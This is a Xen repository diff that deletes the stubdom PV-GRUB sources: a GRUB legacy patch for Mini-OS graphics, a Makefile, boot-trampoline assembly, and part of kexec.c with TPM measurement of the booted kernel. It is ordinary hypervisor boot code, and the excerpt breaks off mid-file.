-@@ -337,6 +403,11 @@
-     return 0;
- }
- 
-+void graphics_set_palette(int idx, int red, int green, int blue)
-+{
-+    palette[idx] = (red << (16 + 2)) | (green << (8 + 2)) | (blue << 2);
-+}
-+
- /* Read in the splashscreen image and set the palette up appropriately.
-  * Format of splashscreen is an xpm (can be gzipped) with 16 colors and
-  * 640x480. */
-@@ -413,18 +484,19 @@
-         }
- 
-         if (len == 6 && idx < 15) {
--            int r = ((hex(buf[0]) << 4) | hex(buf[1])) >> 2;
--            int g = ((hex(buf[2]) << 4) | hex(buf[3])) >> 2;
--            int b = ((hex(buf[4]) << 4) | hex(buf[5])) >> 2;
-+            int r = ((hex(buf[0]) << 4) | hex(buf[1]));
-+            int g = ((hex(buf[2]) << 4) | hex(buf[3]));
-+            int b = ((hex(buf[4]) << 4) | hex(buf[5]));
- 
-             pal[idx] = base;
--            graphics_set_palette(idx, r, g, b);
-+            graphics_set_palette(idx, r / 4, g / 4, b / 4);
-             ++idx;
-         }
-     }
- 
-     x = y = len = 0;
- 
-+#ifndef __MINIOS__
-     s1 = (unsigned char*)VSHADOW1;
-     s2 = (unsigned char*)VSHADOW2;
-     s4 = (unsigned char*)VSHADOW4;
-@@ -432,6 +504,7 @@
- 
-     for (i = 0; i < 38400; i++)
-         s1[i] = s2[i] = s4[i] = s8[i] = 0;
-+#endif
- 
-     /* parse xpm data */
-     while (y < height) {
-@@ -451,6 +524,9 @@
-                     break;
-                 }
- 
-+#ifdef __MINIOS__
-+	    VSHADOW[x + y * 640] = palette[i];
-+#else
-             mask = 0x80 >> (x & 7);
-             if (c & 1)
-                 s1[len + (x >> 3)] |= mask;
-@@ -460,6 +536,7 @@
-                 s4[len + (x >> 3)] |= mask;
-             if (c & 8)
-                 s8[len + (x >> 3)] |= mask;
-+#endif
- 
-             if (++x >= 640) {
-                 x = 0;
-@@ -494,7 +571,13 @@
- }
- 
- void graphics_cursor(int set) {
--    unsigned char *pat, *mem, *ptr, chr[16 << 2];
-+    unsigned char *pat;
-+#ifdef __MINIOS__
-+    uint32_t *mem, *ptr, chr[16 * 8];
-+    int j;
-+#else
-+    unsigned char *mem, *ptr, chr[16 << 2];
-+#endif
-     int i, ch, invert, offset;
- 
-     if (set && (no_cursor || no_scroll))
-@@ -505,71 +588,127 @@
-     invert = (text[fonty * 80 + fontx] & 0xff00) != 0;
-     pat = font8x16 + (ch << 4);
- 
--    mem = (unsigned char*)VIDEOMEM + offset;
-+    mem = (unsigned char*)VIDEOMEM + offset
-+#ifdef __MINIOS__
-+	* 8 * 4
-+#endif
-+	;
- 
-     if (!set) {
-         for (i = 0; i < 16; i++) {
-             unsigned char mask = pat[i];
- 
-             if (!invert) {
-+#ifdef __MINIOS__
-+		memcpy(chr + i * 8, VSHADOW + offset * 8, 8 * 4);
-+#else
-                 chr[i     ] = ((unsigned char*)VSHADOW1)[offset];
-                 chr[16 + i] = ((unsigned char*)VSHADOW2)[offset];
-                 chr[32 + i] = ((unsigned char*)VSHADOW4)[offset];
-                 chr[48 + i] = ((unsigned char*)VSHADOW8)[offset];
-+#endif
- 
-                 if (shade) {
-                     if (ch == DISP_VERT || ch == DISP_LL ||
-                         ch == DISP_UR || ch == DISP_LR) {
-                         unsigned char pmask = ~(pat[i] >> 1);
- 
-+#ifdef __MINIOS__
-+			for (j = 0; j < 8; j++)
-+			    if (!(pmask & (1U << j)))
-+				chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                         chr[i     ] &= pmask;
-                         chr[16 + i] &= pmask;
-                         chr[32 + i] &= pmask;
-                         chr[48 + i] &= pmask;
-+#endif
-                     }
-                     if (i > 0 && ch != DISP_VERT) {
-                         unsigned char pmask = ~(pat[i - 1] >> 1);
- 
-+#ifdef __MINIOS__
-+			for (j = 0; j < 8; j++)
-+			    if (!(pmask & (1U << j)))
-+				chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                         chr[i     ] &= pmask;
-                         chr[16 + i] &= pmask;
-                         chr[32 + i] &= pmask;
-                         chr[48 + i] &= pmask;
-+#endif
-                         if (ch == DISP_HORIZ || ch == DISP_UR || ch == DISP_LR) {
-                             pmask = ~pat[i - 1];
- 
-+#ifdef __MINIOS__
-+			    for (j = 0; j < 8; j++)
-+				if (!(pmask & (1U << j)))
-+				    chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                             chr[i     ] &= pmask;
-                             chr[16 + i] &= pmask;
-                             chr[32 + i] &= pmask;
-                             chr[48 + i] &= pmask;
-+#endif
-                         }
-                     }
-                 }
-+#ifdef __MINIOS__
-+		for (j = 0; j < 8; j++)
-+		    if (mask & (1U << j))
-+			chr[i * 8 + (7 - j)] = palette[15];
-+#else
-                 chr[i     ] |= mask;
-                 chr[16 + i] |= mask;
-                 chr[32 + i] |= mask;
-                 chr[48 + i] |= mask;
-+#endif
- 
-                 offset += 80;
-             }
-             else {
-+#ifdef __MINIOS__
-+		for (j = 0; j < 8; j++)
-+		    if (mask & (1U << j))
-+			chr[i * 8 + (7 - j)] = palette[15];
-+		    else
-+			chr[i * 8 + (7 - j)] = palette[0];
-+#else
-                 chr[i     ] = mask;
-                 chr[16 + i] = mask;
-                 chr[32 + i] = mask;
-                 chr[48 + i] = mask;
-+#endif
-             }
-         }
-     }
-     else {
-+#ifdef __MINIOS__
-+        ptr = mem;
-+        for (i = 0; i < 16; i++, ptr += 80 * 8)
-+	    for (j = 0; j < 8; j++) {
-+		if (pat[i] & (1U << (7 - j)))
-+		    cursorBuf32[i * 8 + j] = ptr[j] = palette[0];
-+		else
-+		    cursorBuf32[i * 8 + j] = ptr[j] = palette[15];
-+	    }
-+#else
-         MapMask(15);
-         ptr = mem;
-         for (i = 0; i < 16; i++, ptr += 80) {
-             cursorBuf[i] = pat[i];
-             *ptr = ~pat[i];
-         }
-+#endif
-         return;
-     }
- 
-     offset = 0;
-+#ifdef __MINIOS__
-+    ptr = mem;
-+    for (j = 0; j < 16; j++, ptr += 80 * 8)
-+	memcpy(ptr, chr + j * 8 + offset * 8, 8 * 4);
-+#else
-     for (i = 1; i < 16; i <<= 1, offset += 16) {
-         int j;
- 
-@@ -580,6 +719,7 @@
-     }
- 
-     MapMask(15);
-+#endif
- }
- 
- #endif /* SUPPORT_GRAPHICS */
-Index: grub/stage2/graphics.h
-===================================================================
---- grub.orig/stage2/graphics.h	2008-06-16 15:18:14.527010000 +0100
-+++ grub/stage2/graphics.h	2008-06-16 15:18:14.805010000 +0100
-@@ -21,8 +21,10 @@
- #ifndef GRAPHICS_H
- #define GRAPHICS_H
- 
-+#ifndef __MINIOS__
- /* magic constant */
- #define VIDEOMEM 0xA0000
-+#endif
- 
- /* function prototypes */
- char *graphics_get_splash(void);
-Index: grub/stage2/stage2.c
-===================================================================
---- grub.orig/stage2/stage2.c	2008-06-17 11:06:47.873523000 +0100
-+++ grub/stage2/stage2.c	2008-06-17 11:07:05.225628000 +0100
-@@ -31,10 +31,10 @@
- #if defined(PRESET_MENU_STRING) || defined(SUPPORT_DISKLESS)
- 
- # if defined(PRESET_MENU_STRING)
--static const char *preset_menu = PRESET_MENU_STRING;
-+const char *preset_menu = PRESET_MENU_STRING;
- # elif defined(SUPPORT_DISKLESS)
- /* Execute the command "bootp" automatically.  */
--static const char *preset_menu = "bootp\n";
-+const char *preset_menu = "bootp\n";
- # endif /* SUPPORT_DISKLESS */
- 
- static int preset_menu_offset;
-Index: grub/stage2/fsys_xfs.c
-===================================================================
-RCS file: /sources/grub/grub/stage2/fsys_xfs.c,v
-retrieving revision 1.5
-diff -u -p -r1.5 fsys_xfs.c
---- grub/stage2/fsys_xfs.c	8 May 2005 02:18:14 -0000	1.5
-+++ grub/stage2/fsys_xfs.c	10 Jul 2008 13:09:50 -0000
-@@ -101,7 +101,7 @@ static inline __const__ xfs_uint16_t
- le16 (xfs_uint16_t x)
- {
- 	__asm__("xchgb %b0,%h0"	\
--		: "=q" (x) \
-+		: "=Q" (x) \
- 		:  "0" (x)); \
- 		return x;
- }
-@@ -109,9 +109,9 @@ le16 (xfs_uint16_t x)
- static inline __const__ xfs_uint32_t
- le32 (xfs_uint32_t x)
- {
--#if 0
-+#if 1
-         /* 386 doesn't have bswap.  */
--	__asm__("bswap %0" : "=r" (x) : "0" (x));
-+	__asm__("bswapl %k0" : "=r" (x) : "0" (x));
- #else
- 	/* This is slower but this works on all x86 architectures.  */
- 	__asm__("xchgb %b0, %h0" \
---- grub.orig/stage2/gunzip.c	2010-03-07 23:03:34.000000000 +0100
-+++ grub/stage2/gunzip.c	2010-03-07 23:05:36.000000000 +0100
-@@ -141,7 +141,7 @@
- static int gzip_filemax;
- static int gzip_fsmax;
- static int saved_filepos;
--static unsigned long gzip_crc;
-+static unsigned int gzip_crc;
- 
- /* internal extra variables for use of inflate code */
- static int block_type;
-@@ -157,7 +157,7 @@
-  *  Linear allocator.
-  */
- 
--static unsigned long linalloc_topaddr;
-+static unsigned int linalloc_topaddr;
- 
- static void *
- linalloc (int size)
-@@ -253,7 +253,7 @@
- 
- typedef unsigned char uch;
- typedef unsigned short ush;
--typedef unsigned long ulg;
-+typedef unsigned int ulg;
- 
- /*
-  *  Window Size
-@@ -316,8 +316,8 @@
-       return 0;
-     }
- 
--  gzip_crc = *((unsigned long *) buf);
--  gzip_fsmax = gzip_filemax = *((unsigned long *) (buf + 4));
-+  gzip_crc = *((unsigned int *) buf);
-+  gzip_fsmax = gzip_filemax = *((unsigned int *) (buf + 4));
- 
-   initialize_tables ();
- 
-diff -ur grub.orig/stage2/fsys_iso9660.c grub-upstream/stage2/fsys_iso9660.c
---- grub.orig/stage2/fsys_iso9660.c	2010-03-07 23:39:00.000000000 +0100
-+++ grub/stage2/fsys_iso9660.c	2010-03-07 23:39:56.000000000 +0100
-@@ -43,7 +43,7 @@
- 
- /* iso fs inode data in memory */
- struct iso_inode_info {
--  unsigned long file_start;
-+  unsigned int file_start;
- };
- 
- #define ISO_SUPER	\
-@@ -88,12 +88,12 @@
-   if (byte_len <= 0)
-     return 1;
- 
--  sector += (byte_offset >> sector_size_lg2);
--  byte_offset &= (buf_geom.sector_size - 1);
-   asm volatile ("shl%L0 %1,%0"
- 		: "=r"(sector)
- 		: "Ic"((int8_t)(ISO_SECTOR_BITS - sector_size_lg2)),
- 		"0"(sector));
-+  sector += (byte_offset >> sector_size_lg2);
-+  byte_offset &= (buf_geom.sector_size - 1);
- 
- #if !defined(STAGE1_5)
-   if (disk_read_hook && debug)
diff --git a/stubdom/grub/Makefile b/stubdom/grub/Makefile
deleted file mode 100644
index 7397661c9b..0000000000
--- a/stubdom/grub/Makefile
+++ /dev/null
@@ -1,88 +0,0 @@
-XEN_ROOT = $(CURDIR)/../..
-
-include $(XEN_ROOT)/Config.mk
-vpath %.c ../grub-upstream
-
-BOOT=$(OBJ_DIR)/boot-$(XEN_TARGET_ARCH).o
-
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/toollog/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/ctrl/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/libs/guest/include
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/include -I.
-DEF_CPPFLAGS += -I../grub-upstream/stage1
-DEF_CPPFLAGS += -I../grub-upstream/stage2
-DEF_CPPFLAGS += -I../grub-upstream/netboot
-DEF_CPPFLAGS += -I$(XEN_ROOT)/tools/firmware/vgabios
-DEF_CPPFLAGS += -DWITHOUT_LIBC_STUBS
-DEF_CPPFLAGS += -DSUPPORT_NETBOOT
-DEF_CPPFLAGS += -DSUPPORT_GRAPHICS
-DEF_CPPFLAGS += -DSUPPORT_SERIAL
-DEF_CPPFLAGS += -DPRESET_MENU_STRING='""'
-DEF_CPPFLAGS += -DPACKAGE='"grubdom"' -DVERSION='"0.97"'
-
-all: $(OBJ_DIR)/main.a
-
-STAGE2_SOURCES=builtins.c char_io.c cmdline.c common.c console.c disk_io.c graphics.c gunzip.c md5.c serial.c stage2.c terminfo.c tparm.c
-
-NETBOOT_SOURCES=fsys_tftp.c main.c misc.c
-CPPFLAGS += -DFSYS_TFTP=1
-
-STAGE2_SOURCES+=fsys_ext2fs.c
-CPPFLAGS += -DFSYS_EXT2FS=1
-
-STAGE2_SOURCES+=fsys_fat.c
-CPPFLAGS += -DFSYS_FAT=1
-
-STAGE2_SOURCES+=fsys_ffs.c
-CPPFLAGS += -DFSYS_FFS=1
-
-STAGE2_SOURCES+=fsys_iso9660.c
-CPPFLAGS += -DFSYS_ISO9660=1
-
-STAGE2_SOURCES+=fsys_jfs.c
-CPPFLAGS += -DFSYS_JFS=1
-
-STAGE2_SOURCES+=fsys_minix.c
-CPPFLAGS += -DFSYS_MINIX=1
-
-STAGE2_SOURCES+=fsys_reiserfs.c
-CPPFLAGS += -DFSYS_REISERFS=1
-
-STAGE2_SOURCES+=fsys_ufs2.c
-CPPFLAGS += -DFSYS_UFS2=1
-
-STAGE2_SOURCES+=fsys_vstafs.c
-CPPFLAGS += -DFSYS_VSTAFS=1
-
-STAGE2_SOURCES+=fsys_xfs.c
-CPPFLAGS += -DFSYS_XFS=1
-
-STAGE2_SOURCES:=$(addprefix stage2/,$(STAGE2_SOURCES))
-NETBOOT_SOURCES:=$(addprefix netboot/,$(NETBOOT_SOURCES))
-
-$(BOOT): DEF_CPPFLAGS+=-D__ASSEMBLY__
-
-PV_GRUB_SOURCES = kexec.c mini-os.c
-PV_GRUB_SOURCES += ../polarssl-$(XEN_TARGET_ARCH)/library/sha1.o
-
-SOURCES = $(NETBOOT_SOURCES) $(STAGE2_SOURCES) $(PV_GRUB_SOURCES)
-
-OBJS = $(addprefix $(OBJ_DIR)/,$(SOURCES:.c=.o))
-
-$(OBJ_DIR)/dirs:
-	mkdir -p $(OBJ_DIR)/netboot $(OBJ_DIR)/stage2
-	touch $@
-
-$(OBJS): $(OBJ_DIR)/dirs
-
-$(OBJ_DIR)/main.a: $(BOOT) $(OBJS)
-	$(AR) cr $@ $^
-
-$(OBJ_DIR)/%.o: %.c
-	$(CC) -c $(CPPFLAGS) $(CFLAGS) $< -o $@
-
-$(OBJ_DIR)/%.o: %.S
-	$(CC) -c $(CPPFLAGS) $(CFLAGS) $< -o $@
-
-clean:
-	rm -fr dirs *.a *.o stage2 netboot
diff --git a/stubdom/grub/boot-x86_32.S b/stubdom/grub/boot-x86_32.S
deleted file mode 100644
index c95fd30dd3..0000000000
--- a/stubdom/grub/boot-x86_32.S
+++ /dev/null
@@ -1,112 +0,0 @@
-#include <os.h>
-#include <arch_limits.h>
-#include <xen/arch-x86_32.h>
-
-/* For simplicity, we keep all of this into just one data page */
-.data
-.globl _boot_page
-_boot_page:
-        .align __PAGE_SIZE
-
-/*
- * The following data is initialized from C code
- */
-
-/* Pte of this page */
-.globl _boot_page_entry
-_boot_page_entry:
-_boot_page_entry_lo:
-        .long 0
-_boot_page_entry_hi:
-        .long 0
-
-/* mmuext_op structure */
-/* Set new page directory */
-_boot_mmuext:
-        /* Op # */
-        .long MMUEXT_NEW_BASEPTR
-
-        /* MFN of target page table directory */
-.globl _boot_pdmfn
-_boot_pdmfn:
-        .long 0
-
-        /* Unused */
-        .long 0
-
-/* Unpin old page directory */
-        /* Op # */
-        .long MMUEXT_UNPIN_TABLE
-
-        /* MFN of old page table directory */
-.globl _boot_oldpdmfn
-_boot_oldpdmfn:
-        .long 0
-
-        /* Unused */
-        .long 0
-
-/* Target stack address, also target virtual address of this page */
-.globl _boot_stack
-_boot_stack:
-        .long 0
-        .long __KERNEL_SS
-.globl _boot_target
-_boot_target:
-        .long 0
-
-/* Target start info */
-.globl _boot_start_info
-_boot_start_info:
-        .long 0
-
-/* Target start address */
-.globl _boot_start
-_boot_start:
-        .long 0
-
-/*
- * Boot target OS, does not return
- */
-.globl _boot
-_boot:
-        /* Project ourselves at the target place. */
-        movl    _boot_target, %ebx
-        movl    %ebx, %ebp     /* also keep it in ebp for relative addressing */
-        movl    _boot_page_entry_lo, %ecx
-        movl    _boot_page_entry_hi, %edx
-        movl    $2, %esi /* UVMF_INVLPG */
-        movl    $__HYPERVISOR_update_va_mapping, %eax
-        int     $0x82
-        testl   %eax, %eax
-        jz      0f
-        ud2
-
-0:
-        /* Go there. */
-        movl    $(0f - _boot_page), %eax
-        movl    _boot_target, %ebx
-        addl    %ebx, %eax
-        jmpl    *%eax
-0:
-        
-        /* Load target page table and unpin old page table.  */
-        /* We shouldn't have any problem since in the new page table our page is
-           mapped at the same place.  */
-        leal    (_boot_mmuext-_boot_page)(%ebp), %ebx
-        movl    $2, %ecx
-        xorl    %edx, %edx
-        movl    $0x7FF0, %esi /* DOMID_SELF */
-        movl    $__HYPERVISOR_mmuext_op, %eax
-        int     $0x82
-        testl   %eax, %eax
-        jns     0f
-        ud2
-
-0:
-        /* Initialize registers.  */
-        lss     (_boot_stack-_boot_page)(%ebp), %esp
-        movl    (_boot_start_info-_boot_page)(%ebp), %esi
-
-        /* Jump!  */
-        jmpl    *(_boot_start-_boot_page)(%ebp)
diff --git a/stubdom/grub/boot-x86_64.S b/stubdom/grub/boot-x86_64.S
deleted file mode 100644
index 2eae6c3437..0000000000
--- a/stubdom/grub/boot-x86_64.S
+++ /dev/null
@@ -1,108 +0,0 @@
-#include <os.h>
-#include <arch_limits.h>
-#include <xen/arch-x86_64.h>
-
-/* For simplicity, we keep all of this into just one data page */
-.data
-.globl _boot_page
-_boot_page:
-        .align __PAGE_SIZE
-
-/*
- * The following data is initialized from C code
- */
-
-/* Pte of this page */
-.globl _boot_page_entry
-_boot_page_entry:
-        .quad 0
-
-/* mmuext_op structure */
-/* Set new page directory */
-_boot_mmuext:
-        /* Op # */
-        .long MMUEXT_NEW_BASEPTR
-        .long 0 /* pad */
-
-        /* MFN of target page table directory */
-.globl _boot_pdmfn
-_boot_pdmfn:
-        .quad 0
-
-        /* Unused */
-        .quad 0
-
-/* Unpin old page directory */
-        /* Op # */
-        .long MMUEXT_UNPIN_TABLE
-        .long 0 /* pad */
-
-        /* MFN of old page table directory */
-.globl _boot_oldpdmfn
-_boot_oldpdmfn:
-        .quad 0
-
-        /* Unused */
-        .quad 0
-
-/* Target stack address, also target virtual address of this page */
-.globl _boot_stack
-_boot_stack:
-        .quad 0
-.globl _boot_target
-_boot_target:
-        .quad 0
-
-/* Target start info */
-.globl _boot_start_info
-_boot_start_info:
-        .quad 0
-
-/* Target start address */
-.globl _boot_start
-_boot_start:
-        .quad 0
-
-/*
- * Boot target OS, does not return
- */
-.globl _boot
-_boot:
-        /* Project ourselves at the target place. */
-        movq    _boot_target, %rdi
-        movq    _boot_page_entry, %rsi
-        movq    $2, %rdx /* UVMF_INVLPG */
-        movq    $__HYPERVISOR_update_va_mapping, %rax
-        syscall
-        testq   %rax, %rax
-        jz      0f
-        ud2
-
-0:
-        /* Go there. */
-        movq    $(0f - _boot_page), %rax
-        movq    _boot_target, %rbx
-        addq    %rbx, %rax
-        jmpq    *%rax
-0:
-        
-        /* Load target page table and unpin old page table.  */
-        /* We shouldn't have any problem since in the new page table our page is
-           mapped at the same place.  */
-        leaq    _boot_mmuext(%rip), %rdi
-        movq    $2, %rsi
-        xorq    %rdx, %rdx
-        movq    $0x7FF0, %r10 /* DOMID_SELF */
-        movq    $__HYPERVISOR_mmuext_op, %rax
-        syscall
-        testq   %rax, %rax
-        jns     0f
-        ud2
-
-0:
-        /* Initialize registers.  */
-        movq    _boot_stack(%rip), %rsp
-        movq    _boot_start_info(%rip), %rsi
-
-        /* Jump!  */
-        jmpq    *_boot_start(%rip)
diff --git a/stubdom/grub/config.h b/stubdom/grub/config.h
deleted file mode 100644
index 15a6583999..0000000000
--- a/stubdom/grub/config.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-#undef putchar
-#include <ctype.h>
-#include <string.h>
-#include <kernel.h>
-#define debug _debug
-#define grub_halt(a) do_exit()
-#define printf grub_printf
-void kexec(void *kernel, long kernel_size, void *module, long module_size, char *cmdline, unsigned long flags);
-struct fbfront_dev *fb_open(void *fb, int width, int height, int depth);
-void fb_close(void);
-void pv_boot (void);
diff --git a/stubdom/grub/kexec.c b/stubdom/grub/kexec.c
deleted file mode 100644
index 92646ad8cd..0000000000
--- a/stubdom/grub/kexec.c
+++ /dev/null
@@ -1,434 +0,0 @@
-/*
- * This supports booting another PV kernel from Mini-OS
- *
- * The idea is to setup it using libxc, answer to day0 memory allocation
- * requests, and using a trampoline boot page to switch to the new page table.
- *
- * The procedure of the boot page is:
- * - map itself at the target position (that may overwrite some C stuff, but we
- *   do not care any more)
- * - jump there
- * - switch to the target page table
- * - unpin the old page table
- * - jump to the new kernel
- *
- * Samuel Thibault <Samuel.Thibault@eu.citrix.com>, May 2008
- */
-#include <stdio.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-
-#include <xenctrl.h>
-#include <xenguest.h>
-
-#include <kernel.h>
-#include <console.h>
-#include <os.h>
-#include <blkfront.h>
-#include <netfront.h>
-#include <fbfront.h>
-#include <tpmfront.h>
-#include <shared.h>
-#include <byteswap.h>
-
-#include "mini-os.h"
-
-#undef start_info
-
-#if 0
-#define DEBUG(fmt, ...) printk(fmt, ## __VA_ARGS__)
-#else
-#define DEBUG(fmt, ...) (void)0
-#endif
-
-/* Assembly boot page from boot.S */
-extern void _boot_page;
-extern pgentry_t _boot_page_entry;
-extern unsigned long _boot_pdmfn;
-extern unsigned long _boot_stack, _boot_target, _boot_start_info, _boot_start;
-extern xen_pfn_t _boot_oldpdmfn;
-extern void _boot(void);
-
-static unsigned long *pages;
-static unsigned long *pages_mfns;
-static xen_pfn_t *pages_moved2pfns;
-static unsigned long allocated;
-
-int pin_table(xc_interface *xc_handle, unsigned int type, unsigned long mfn,
-              domid_t dom);
-
-#define TPM_TAG_RQU_COMMAND 0xC1
-#define TPM_ORD_Extend 20
-
-struct pcr_extend_cmd {
-	uint16_t tag;
-	uint32_t size;
-	uint32_t ord;
-
-	uint32_t pcr;
-	unsigned char hash[20];
-} __attribute__((packed));
-
-struct pcr_extend_rsp {
-	uint16_t tag;
-	uint32_t size;
-	uint32_t status;
-
-	unsigned char hash[20];
-} __attribute__((packed));
-
-/* Not imported from polarssl's header since the prototype unhelpfully defines
- * the input as unsigned char, which causes pointer type mismatches */
-void sha1(const void *input, size_t ilen, unsigned char output[20]);
-
-/* We need mfn to appear as target_pfn, so exchange with the MFN there */
-static void do_exchange(struct xc_dom_image *dom, xen_pfn_t target_pfn, xen_pfn_t source_mfn)
-{
-    xen_pfn_t source_pfn;
-    xen_pfn_t target_mfn;
-
-    for (source_pfn = 0; source_pfn < start_info_ptr->nr_pages; source_pfn++)
-        if (dom->pv_p2m[source_pfn] == source_mfn)
-            break;
-    ASSERT(source_pfn < start_info_ptr->nr_pages);
-
-    target_mfn = dom->pv_p2m[target_pfn];
-
-    /* Put target MFN at source PFN */
-    dom->pv_p2m[source_pfn] = target_mfn;
-
-    /* Put source MFN at target PFN */
-    dom->pv_p2m[target_pfn] = source_mfn;
-}
-
-int kexec_allocate(struct xc_dom_image *dom)
-{
-    unsigned long new_allocated = dom->pfn_alloc_end - dom->rambase_pfn;
-    unsigned long i;
-
-    pages = realloc(pages, new_allocated * sizeof(*pages));
-    pages_mfns = realloc(pages_mfns, new_allocated * sizeof(*pages_mfns));
-    pages_moved2pfns = realloc(pages_moved2pfns, new_allocated * sizeof(*pages_moved2pfns));
-    for (i = allocated; i < new_allocated; i++) {
-        /* Exchange old page of PFN i with a newly allocated page.  */
-        xen_pfn_t old_mfn = dom->pv_p2m[i];
-        xen_pfn_t new_pfn;
-        xen_pfn_t new_mfn;
-
-        pages[i] = alloc_page();
-        memset((void*) pages[i], 0, PAGE_SIZE);
-        new_pfn = PHYS_PFN(to_phys(pages[i]));
-        pages_mfns[i] = new_mfn = pfn_to_mfn(new_pfn);
-
-	/*
-	 * If PFN of newly allocated page (new_pfn) is less then currently
-	 * requested PFN (i) then look for relevant PFN/MFN pair. In this
-	 * situation dom->pv_p2m[new_pfn] no longer contains proper MFN
-	 * because original page with new_pfn was moved earlier
-	 * to different location.
-	 */
-	for (; new_pfn < i; new_pfn = pages_moved2pfns[new_pfn]);
-
-	/* Store destination PFN of currently requested page. */
-	pages_moved2pfns[i] = new_pfn;
-
-        /* Put old page at new PFN */
-        dom->pv_p2m[new_pfn] = old_mfn;
-
-        /* Put new page at PFN i */
-        dom->pv_p2m[i] = new_mfn;
-    }
-
-    allocated = new_allocated;
-
-    return 0;
-}
-
-/* Filled from mini-os command line or left as NULL */
-char *vtpm_label;
-
-static void tpm_hash2pcr(struct xc_dom_image *dom, char *cmdline)
-{
-	struct tpmfront_dev* tpm = init_tpmfront(NULL);
-	struct pcr_extend_rsp *resp;
-	size_t resplen = 0;
-	struct pcr_extend_cmd cmd;
-	int rv;
-
-	/*
-	 * If vtpm_label was specified on the command line, require a vTPM to be
-	 * attached and for the domain providing the vTPM to have the given
-	 * label.
-	 */
-	if (vtpm_label) {
-		char ctx[128];
-		if (!tpm) {
-			printf("No TPM found and vtpm_label specified, aborting!\n");
-			do_exit();
-		}
-		rv = evtchn_get_peercontext(tpm->evtchn, ctx, sizeof(ctx) - 1);
-		if (rv < 0) {
-			printf("Could not verify vtpm_label: %d\n", rv);
-			do_exit();
-		}
-		ctx[127] = 0;
-		rv = strcmp(ctx, vtpm_label);
-		if (rv && vtpm_label[0] == '*') {
-			int match_len = strlen(vtpm_label) - 1;
-			int offset = strlen(ctx) - match_len;
-			if (offset > 0)
-				rv = strcmp(ctx + offset, vtpm_label + 1);
-		}
-
-		if (rv) {
-			printf("Mismatched vtpm_label: '%s' != '%s'\n", ctx, vtpm_label);
-			do_exit();
-		}
-	} else if (!tpm) {
-		return;
-	}
-
-	cmd.tag = bswap_16(TPM_TAG_RQU_COMMAND);
-	cmd.size = bswap_32(sizeof(cmd));
-	cmd.ord = bswap_32(TPM_ORD_Extend);
-	cmd.pcr = bswap_32(4); // PCR #4 for kernel
-	sha1(dom->kernel_blob, dom->kernel_size, cmd.hash);
-
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	cmd.pcr = bswap_32(5); // PCR #5 for cmdline
-	sha1(cmdline, strlen(cmdline), cmd.hash);
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	cmd.pcr = bswap_32(5); // PCR #5 for initrd
-	sha1(dom->modules[0].blob, dom->modules[0].size, cmd.hash);
-	rv = tpmfront_cmd(tpm, (void*)&cmd, sizeof(cmd), (void*)&resp, &resplen);
-	ASSERT(rv == 0 && resp->status == 0);
-
-	shutdown_tpmfront(tpm);
-}
-
-void kexec(void *kernel, long kernel_size, void *module, long module_size, char *cmdline, unsigned long flags)
-{
-    struct xc_dom_image *dom;
-    int rc;
-    domid_t domid = DOMID_SELF;
-    xen_pfn_t pfn;
-    xc_interface *xc_handle;
-    unsigned long i;
-    void *seg;
-    xen_pfn_t boot_page_mfn = virt_to_mfn(&_boot_page);
-    char features[] = "";
-    struct mmu_update *m2p_updates;
-    unsigned long nr_m2p_updates;
-    uint64_t virt_base;
-
-    DEBUG("booting with cmdline %s\n", cmdline);
-    xc_handle = xc_interface_open(0,0,0);
-
-    dom = xc_dom_allocate(xc_handle, cmdline, features);
-    dom->allocate = kexec_allocate;
-
-    /* We are using guest owned memory, therefore no limits. */
-    xc_dom_kernel_max_size(dom, 0);
-    xc_dom_module_max_size(dom, 0);
-
-    dom->kernel_blob = kernel;
-    dom->kernel_size = kernel_size;
-
-    xc_dom_module_mem(dom, module, module_size, NULL);
-
-    dom->flags = flags;
-    dom->console_evtchn = start_info_ptr->console.domU.evtchn;
-    dom->xenstore_evtchn = start_info_ptr->store_evtchn;
-
-    tpm_hash2pcr(dom, cmdline);
-
-    if ( (rc = xc_dom_boot_xen_init(dom, xc_handle, domid)) != 0 ) {
-        printk("xc_dom_boot_xen_init returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-    if ( (rc = xc_dom_parse_image(dom)) != 0 ) {
-        printk("xc_dom_parse_image returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-
-#ifdef __i386__
-    if (strcmp(dom->guest_type, "xen-3.0-x86_32p")) {
-        printk("can only boot x86 32 PAE kernels, not %s\n", dom->guest_type);
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-#endif
-#ifdef __x86_64__
-    if (strcmp(dom->guest_type, "xen-3.0-x86_64")) {
-        printk("can only boot x86 64 kernels, not %s\n", dom->guest_type);
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-#endif
-
-    /* equivalent of xc_dom_mem_init */
-    if (xc_dom_set_arch_hooks(dom)) {
-        printk("xc_dom_set_arch_hooks failed\n");
-        errnum = ERR_EXEC_FORMAT;
-        goto out;
-    }
-    dom->total_pages = start_info_ptr->nr_pages;
-
-    /* equivalent of arch_setup_meminit */
-    dom->p2m_size = dom->total_pages;
-
-    /* setup initial p2m */
-    dom->pv_p2m = malloc(sizeof(*dom->pv_p2m) * dom->p2m_size);
-
-    /* Start with our current P2M */
-    for (i = 0; i < dom->p2m_size; i++)
-        dom->pv_p2m[i] = pfn_to_mfn(i);
-
-    if ( (rc = xc_dom_build_image(dom)) != 0 ) {
-        printk("xc_dom_build_image returned %d\n", rc);
-        errnum = ERR_BOOT_FAILURE;
-        goto out;
-    }
-
-    virt_base = xc_dom_virt_base(dom);
-    /* copy hypercall page */
-    /* TODO: domctl instead, but requires privileges */
-    if (xc_dom_virt_hypercall(dom) != -1) {
